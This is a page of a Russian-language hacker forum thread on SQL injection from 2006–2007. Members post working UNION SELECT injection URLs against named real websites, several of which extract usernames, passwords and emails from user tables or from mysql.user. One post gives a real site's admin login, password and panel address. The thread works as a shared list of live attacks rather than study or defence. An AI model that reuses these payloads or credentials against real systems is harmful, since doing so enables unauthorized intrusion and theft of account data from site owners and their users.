SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
  1. злюка

    злюка Elder - Старейшина

    Joined:
    11 Nov 2005
    Messages:
    337
    Likes Received:
    132
    Reputations:
    69
    это я к тому, что админам пох))
     
  2. InferNo23

    InferNo23 Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    183
    Likes Received:
    126
    Reputations:
    42
    GlobalMoney.ru
    Code:
    http://www.globalmoney.ru/affiliate/order.php?tovar_id=-1+union+select+1,2,login,4,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+from+users+limit+0,1
     
  3. big_BRAT

    big_BRAT Elder - Старейшина

    Joined:
    23 Dec 2006
    Messages:
    77
    Likes Received:
    64
    Reputations:
    7
    К сожелению думаю из этого не чего не получится, но всё же, как я понял параметр ПЕЙДЖ берётся для вычисления лимита вывода /простым сумированием/, а параметр рубрики не смог провести.
    Кто сделает если не сложно выложите, я хочу глянуть как это можно провернуть.... :)
     
  4. kamaz

    kamaz Elder - Старейшина

    Joined:
    31 Jan 2007
    Messages:
    151
    Likes Received:
    275
    Reputations:
    280
    Login - admin
    Password - zepz
    Админка - http://a2k.boxnews.com.ua/admin/
     
    1 person likes this.
  5. big_BRAT

    big_BRAT Elder - Старейшина

    Joined:
    23 Dec 2006
    Messages:
    77
    Likes Received:
    64
    Reputations:
    7
    http://forum.antichat.ru/threadnav21336-58-10.html
    Написал *D1VER 19.02.2007, 21:57 /одна большая дырка/

     
  6. kamaz

    kamaz Elder - Старейшина

    Joined:
    31 Jan 2007
    Messages:
    151
    Likes Received:
    275
    Reputations:
    280
    Упс :)

    В последнем есть форум. Таблицы не подобрал
     
    2 people like this.
  7. Patrik

    Patrik Elder - Старейшина

    Joined:
    15 Jan 2006
    Messages:
    42
    Likes Received:
    6
    Reputations:
    0
    http://lizvicious.com/tour1/index.php?section=113&start=1"&t=movies
    Напишите, пожалуйста, в личку, если кто разберёться. А то не получаеться ничего.
     
  8. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    http://lizvicious.com/tour1/index.php?section=113&t=movies&start=2+union+select+1/*

     
    2 people like this.
  9. RaDDeaD

    RaDDeaD Elder - Старейшина

    Joined:
    28 Dec 2006
    Messages:
    44
    Likes Received:
    18
    Reputations:
    1
    http://igrafit.ru/company/news/?article=-1+union+select+1,2,3,4,5,7,8,9,10,11,12,13/*
     
  10. }{0TT@БЬ)Ч

    }{0TT@БЬ)Ч Elder - Старейшина

    Joined:
    20 Jan 2006
    Messages:
    269
    Likes Received:
    140
    Reputations:
    31
    RaDDeaD
    щас модно по 2 раза постить одно и тоже?
    посвящаеться фанатам гостей из будущего
    http://gosti.ru/gforum/f_othinfo.php?thuid=-594+union+select+1,2,3,4,5,6,concat(login,CHAR(59),pass,CHAR(59),email),8,9,10,11+from+gusers/*пассы в чистом виде ;)
     
    #570 }{0TT@БЬ)Ч, 23 Feb 2007
    Last edited: 23 Feb 2007
  11. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    http://www.ont.by/index.php?id_issue=3&id=-14616+union+select+1,2,3,VERSION(),5,6,7,8,9,10,11/*

    http://www.ksu.ru/podrobnee.php?id=-1797+union+select+1,2,3,4,5,6,7,8,9,10,11/*
     
    #571 SWAT, 23 Feb 2007
    Last edited: 23 Feb 2007
  12. kamaz

    kamaz Elder - Старейшина

    Joined:
    31 Jan 2007
    Messages:
    151
    Likes Received:
    275
    Reputations:
    280
    :)
     
    #572 kamaz, 23 Feb 2007
    Last edited: 24 Feb 2007
    1 person likes this.
  13. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    http://www.csr.spbu.ru/showart.php3?id=-1109+UNION+SELECT+1,concat(user,password),3,4+from+mysql.user/*

    http://www.nlr.ru/news/vid_news.php?id=-604+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/*


    http://ultrabyte.ru/viewvac.php?id=-1172007918+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*
     
    #573 SWAT, 24 Feb 2007
    Last edited: 24 Feb 2007
    1 person likes this.
  14. Thanat0z

    Thanat0z Негрин

    Joined:
    6 Dec 2006
    Messages:
    627
    Likes Received:
    498
    Reputations:
    311
    Code:
    __http://www.magicwings.com/index.php?id=-9+union+select+concat(user(),0x3a,0x3a,database(),0x3a,0x3a,version())/*
     
  15. InferNo23

    InferNo23 Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    183
    Likes Received:
    126
    Reputations:
    42
    Code:
    http://www.c-gallery.org.ru/daily_in.php?view_id=-1+union+select+1,2,3,version(),5/*
    Code:
    http://www.impactsoft.ru/prods.php?razdel_id=-1+union+select+1,2,3,4,5,6,7,8,9/*
    Code:
    http://acana.ru/partners.php?razdel_id=-1+union+select+1,user(),version(),4,5,6/*
    Code:
    http://www.rossignol.ru/ski/shops/moscow/?shop_id=-1+union+select+user(),version(),database(),current_date(),5,6,7,8,9,10,11,12,13/*
     
  16. kamaz

    kamaz Elder - Старейшина

    Joined:
    31 Jan 2007
    Messages:
    151
    Likes Received:
    275
    Reputations:
    280
    Воть :)
     
    #576 kamaz, 24 Feb 2007
    Last edited: 24 Feb 2007
    3 people like this.
  17. }{0TT@БЬ)Ч

    }{0TT@БЬ)Ч Elder - Старейшина

    Joined:
    20 Jan 2006
    Messages:
    269
    Likes Received:
    140
    Reputations:
    31
    http://www.nextaz.com/showsoft.php?id=-5711+union+select+1,version(),3,4,5,6,7,8,9,10,11,12/*
     
    1 person likes this.
  18. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    http://www.eval-net.org/index.php?id=-20+union+select+1,2,3,4,5,6,7/*


    http://ultrabyte.ru/viewvac.php?id=-1172007918+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*

    http://www.ingeniatechnology.com/russian/news_dtl.php?id=-166+union+select+1,2,3,4,5,6,7,8,9/*

    http://bridge-belarus.org/php/person_tours.php?id=-66+union+select+1,2,VERSION(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/*


    http://www.ecotour.by/viewtour.php?id=-52+union+select+1,2,3,4,5,6,7,8,9,10,11,12,concat(username,0x3a,password,0x3a,email),14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+user/*

    http://www.molot.by/article_det.php?id=-61+union+select+1,2,3,4,5,6+from+user/*

    http://www.kinder.by/gallery/show.php?id=-1171560816+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15+from+admin/*

    http://cfis.by/text.php?id=-5+union+select+1,2,3,4/*

    http://director-online.com/buildArticle.php?id=-1160+union+select+1,2,3,4,5,6,7,8+from+user/*

    http://blogsforlearning.msu.edu/articles/view.php?id=-6+union+select+1,2,3,4,5,6,7,8,9/*

    http://www.gatech.edu/calendar/event.php?id=-1665+union+select+1,2,3,4,5,VERSION(),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/*

    http://www.linspire.com/lindows_news_pressreleases_archives.php?id=-213+union+select+1,2/*

    http://www.keckobservatory.org/article.php?id=-98+union+select+1,2,3,4,5,6,7,8+from+mysql.user/*

    вот чуть скулей))
     
    2 people like this.
  19. Grey

    Grey Banned

    Joined:
    10 Jun 2006
    Messages:
    1,047
    Likes Received:
    1,315
    Reputations:
    1,159
    Code:
    http://www.pornolib.ru/list.php?g=&link=166+union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16,17,18/*
     
    #579 Grey, 25 Feb 2007
    Last edited: 25 Feb 2007
    3 people like this.
  20. kair

    kair Elder - Старейшина

    Joined:
    12 Oct 2006
    Messages:
    146
    Likes Received:
    83
    Reputations:
    -4
    http://director-online.com/buildArticle.php?id=-1160+union+select+1,2,3,4,5,6,7,8+from+user/*
     
Thread Status:
Not open for further replies.